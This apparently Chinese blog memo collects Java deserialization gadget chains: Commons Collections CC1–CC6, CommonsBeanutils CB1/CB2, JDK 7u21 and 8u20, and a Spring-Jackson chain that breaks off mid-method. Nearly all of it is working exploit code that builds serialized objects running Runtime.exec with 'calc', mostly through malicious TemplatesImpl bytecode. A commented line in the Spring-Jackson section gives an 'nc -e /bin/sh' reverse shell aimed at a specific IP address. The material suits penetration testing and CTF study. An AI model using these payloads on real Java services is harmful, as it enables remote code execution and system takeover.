JAVA常用备忘录

发布于 2024-10-22  1459 次阅读


JAVA代码备忘录

反序列化gadget合集

CC系列

CC1

jdk版本:jdk8u71以下
CC库版本:3.2.1
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }

    public static void main(String[] args) throws Exception {
//        InvokerTransformer obj = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        Runtime r = Runtime.getRuntime();

//        obj.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","321");//构建好Map对象用于遍历
//        Map<Object,Object> tfmap = TransformedMap.decorate(map,null,obj);
//        for(Map.Entry entry:tfmap.entrySet()){
//            entry.setValue(r);
//        } //希望执行的CC包入口函数

        Class runtimeClass = Runtime.class;
//        //获得getruntime方法
//        Object getruntime = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
//
//        //使用getRuntime方法获得currentRuntime
//        Object currentRuntime = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
//
//        //使用currenRuntime执行exec("calc")
//        Object o = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        ChainedTransformer chtfm = new ChainedTransformer(transes);
//        chtfm.transform(runtimeClass);
        Map<Object,Object> tfmap = TransformedMap.decorate(map,null,chtfm);
//// Map.entry(any,chtfm).setValue(runtimeclass)
//
//
        Class aicls  = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aicons = aicls.getDeclaredConstructor(Class.class,Map.class);
        aicons.setAccessible(true);
        Object aiobj = aicons.newInstance(Target.class,tfmap);
        serialize(aiobj);
        unserialize();

    }
}

CC2

CC库版本:4.0
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;

    }
    public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,newf);
    }//利用反射设置TemplatesImpl的私有属性

    public static void main(String[] args) throws Exception{
        //链子1
//        Class runtimeClass = Runtime.class;
//        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
//        ChainedTransformer chtfm = new ChainedTransformer(transes);
////        chtfm.transform(runtimeClass);
//        TransformingComparator tc = new TransformingComparator(chtfm);
//        tc.compare(runtimeClass,runtimeClass);
////
//        PriorityQueue pq = new PriorityQueue(1);
//
//        pq.add(1);
//        pq.add(2);
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,tc);
//        serialize(pq);
//        unserialize();

        //链子2
        TemplatesImpl tempobj = new TemplatesImpl();
        setValue(tempobj,"_name","123");
        setValue(tempobj,"_bytecodes",generateByteCode());
        setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
        InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

//                ivt.transform(tempobj);
        //        PriorityQueue pq = new PriorityQueue();
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,ivt);

        TransformingComparator tc = new TransformingComparator(ivt);
        PriorityQueue pq = new PriorityQueue(tc);

        Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
        qf_queue.setAccessible(true);
        qf_queue.set(pq,new Object[]{tempobj,tempobj});

        Field qf_size = PriorityQueue.class.getDeclaredField("size");
        qf_size.setAccessible(true);
        qf_size.set(pq,2);

        serialize(pq);
        unserialize();

    }
}

CC3

jdk版本:jdk8u71以下
CC库版本:3.2.1
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

CC4

CC库版本:4.0
package org.example;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

CC5

CC库版本:3.2.1
jdk<jdk8u71
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        //tiedMapEntry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

        Class c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("sercc5.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

CC6

CC库版本:3.2.1
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

CB系列

CB1

所需库:CC3.2.1、CB1.9.2
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        //创建CtClass对象容器
        ClassPool pool2 = ClassPool.getDefault();
        //pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类Exp2
        CtClass ct = pool2.makeClass("People2");
        //设置People2类的父类为AbstractTranslet,满足实例化条件
        ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
        //创建构造函数
        CtConstructor cons2 = ct.makeClassInitializer();
        //向构造函数插入字节码
        cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        //javassist转换字节码并转化为二位数组
        byte[] bytecode = ct.toBytecode();
        byte[][] bytecodes = new byte[][]{bytecode};
        //实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
        //设置满足条件属性_bytecodes为恶意构造字节码
        setFieldValue(templates, "_bytecodes", bytecodes);
        //设置满足条件属性_class为空
        setFieldValue(templates, "_class", null);
        //设置满足条件属性_name不为空,任意赋值都行
        setFieldValue(templates, "_name", "test");
        //设置满足条件属性_tfactory实例化
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

        BeanComparator beanComparator = new BeanComparator();
        //设置getOutputProperties/newTransformer均可
        setFieldValue(beanComparator,"property","outputProperties");
        //设置优先级队列对象
        PriorityQueue pq=new PriorityQueue(2);
        //设置size大小,满足大于2的条件
        setFieldValue(pq,"size",2);
        //设置比较器
        setFieldValue(pq,"comparator",beanComparator);
        //设置传递的队列元素,需要将templates对象传入
        Object[] list=new Object[]{templates,1};
        //向PriorityQueue队列添加元素
        setFieldValue(pq,"queue",list);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
            outputStream.writeObject(pq);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
            inputStream.readObject();
            inputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    //通过反射给对象属性赋值,避免代码冗余繁琐
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CB2

利用版本:CB1.9.2,CB1.8.3
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
    public static void main(String[] args) throws Exception {
        //创建CtClass对象容器
        ClassPool pool2 = ClassPool.getDefault();
        //pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类Exp2
        CtClass ct = pool2.makeClass("People2");
        //设置People2类的父类为AbstractTranslet,满足实例化条件
        ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
        //创建构造函数
        CtConstructor cons2 = ct.makeClassInitializer();
        //向构造函数插入字节码
        cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        //javassist转换字节码并转化为二位数组
        byte[] bytecode = ct.toBytecode();
        byte[][] bytecodes = new byte[][]{bytecode};
        //实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
        //设置满足条件属性_bytecodes为恶意构造字节码
        setFieldValue(templates, "_bytecodes", bytecodes);
        //设置满足条件属性_class为空
        setFieldValue(templates, "_class", null);
        //设置满足条件属性_name不为空,任意赋值都行
        setFieldValue(templates, "_name", "test");
        //设置满足条件属性_tfactory实例化
        setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

        BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
        setFieldValue(beanComparator,"property","outputProperties");
        //设置优先级队列对象
        PriorityQueue pq=new PriorityQueue(2);
        //设置size大小,满足大于2的条件
        setFieldValue(pq,"size",2);
        //设置比较器
        setFieldValue(pq,"comparator",beanComparator);
        //设置传递的队列元素,需要将templates对象传入
        Object[] list=new Object[]{templates,1};
        //向PriorityQueue队列添加元素
        setFieldValue(pq,"queue",list);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
            outputStream.writeObject(pq);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
            inputStream.readObject();
            inputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    //通过反射给对象属性赋值,避免代码冗余繁琐
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

jdk原生链

jdk7u21

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class ExploitOfJDK7u21 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl generateEvilTemplates() throws Exception {

        // 生成恶意的 bytecodes
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractMethodError.class));
        CtClass ctClass = pool.makeClass("JDK7u21Exploit");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        ctClass.makeClassInitializer().insertBefore(cmd);
        byte[] ctClassBytes = ctClass.toBytecode();
        byte[][] targetByteCodes = new byte[][]{ctClassBytes};

        // 实例化类并设置属性
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "h3rmesk1t");
        setFieldValue(templatesImpl, "_bytecodes", targetByteCodes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        return  templatesImpl;
    }

    public static void exp() throws Exception {

        TemplatesImpl templates = generateEvilTemplates();
        HashMap hashMap = new HashMap();
        hashMap.put("f5a5a608", "zero");

        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, hashMap);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(ExploitOfJDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        hashMap.put("f5a5a608", templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set); // 序列化set对象
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = (Object)ois.readObject();
        ois.close();
    }

    public static void main(String[] args) {
        try {
            exp();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

jdk8u20

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
class SerializationUtil {

    // 将字节数组写入文件
    public static void writeFile(byte[] data, String fileName) throws Exception {
        Files.write(Paths.get(fileName), data);
    }

    // 从文件中读取字节数组
    public static byte[] readFile(String fileName) throws Exception {
        return Files.readAllBytes(Paths.get(fileName));
    }

    // 反序列化字节数组
    public static Object deserialize(byte[] data) throws Exception, ClassNotFoundException {
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject();
        }
    }}
class ReflectionsUtil {
    // 获取类的第一个构造函数
    public static Constructor<?> getFirstCtor(Class<?> clazz) {
        Constructor<?>[] constructors = clazz.getDeclaredConstructors();
        if (constructors.length > 0) {
            constructors[0].setAccessible(true);  // 设置访问权限,确保可以访问私有构造函数
            return constructors[0];
        }
        return null; // 如果没有构造函数,返回 null
    }
}
class ByteUtil {
    // 获取子数组在主数组中的索引
    public static int getSubarrayIndex(byte[] array, byte[] subarray) {
        for (int i = 0; i <= array.length - subarray.length; i++) {
            boolean found = true;
            for (int j = 0; j < subarray.length; j++) {
                if (array[i + j] != subarray[j]) {
                    found = false;
                    break;
                }
            }
            if (found) {
                return i;
            }
        }
        return -1; // 未找到时返回 -1
    }

    // 删除数组中指定位置的元素
    public static byte[] deleteAt(byte[] array, int index) {
        if (index < 0 || index >= array.length) {
            throw new IndexOutOfBoundsException("Index out of range: " + index);
        }
        byte[] result = new byte[array.length - 1];
        System.arraycopy(array, 0, result, 0, index); // 复制前部分
        System.arraycopy(array, index + 1, result, index, array.length - index - 1); // 复制后部分
        return result;
    }
}
public class Poc {
    public static Class newInvocationHandlerClass() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
        CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
                "        os.defaultWriteObject();\n" +
                "    }",clazz);
        clazz.addMethod(writeObject);
        return clazz.toClass();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");

        Class ihClass = newInvocationHandlerClass();
        InvocationHandler ih = (InvocationHandler) ReflectionsUtil.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);

        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);

        byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};

        int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
        ser = ByteUtil.deleteAt(ser,i); // delete 0x78
        ser = ByteUtil.deleteAt(ser,i); // delete 0x70

// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
//        Deserializer.deserialize(ser);
        SerializationUtil.writeFile(ser,"ser.txt");
        byte[] bytes = SerializationUtil.readFile("ser.txt");
        SerializationUtil.deserialize(bytes);
    }
}
package org.example;

import static org.example.SerializationUtil.deserialize;
import static org.example.SerializationUtil.readFile;

public class Test2 {
    public static void main(String[] args) throws Exception{
        byte[] bytes = readFile("ser.txt");
        deserialize(bytes);
    }
}

spring-jackson链

spring版本:2.7.5 , 2.7.11 , 2.7.18
package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Test {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();

    }

    public static byte[][] generateEvilBytes() throws Exception{
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        //nc -e /bin/sh 121.199.39.4 3000
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};

        return evilbyte;

    }

    public  static <T> void setValue(Object obj,String fname,T f) throws Exception{
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,f);
    }

    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }

    public static void main(String args[]) throws Exception{
        //构造恶意TemplatesImpl
        TemplatesImpl tmp = new TemplatesImpl();
        setValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setValue(tmp,"_name","123");
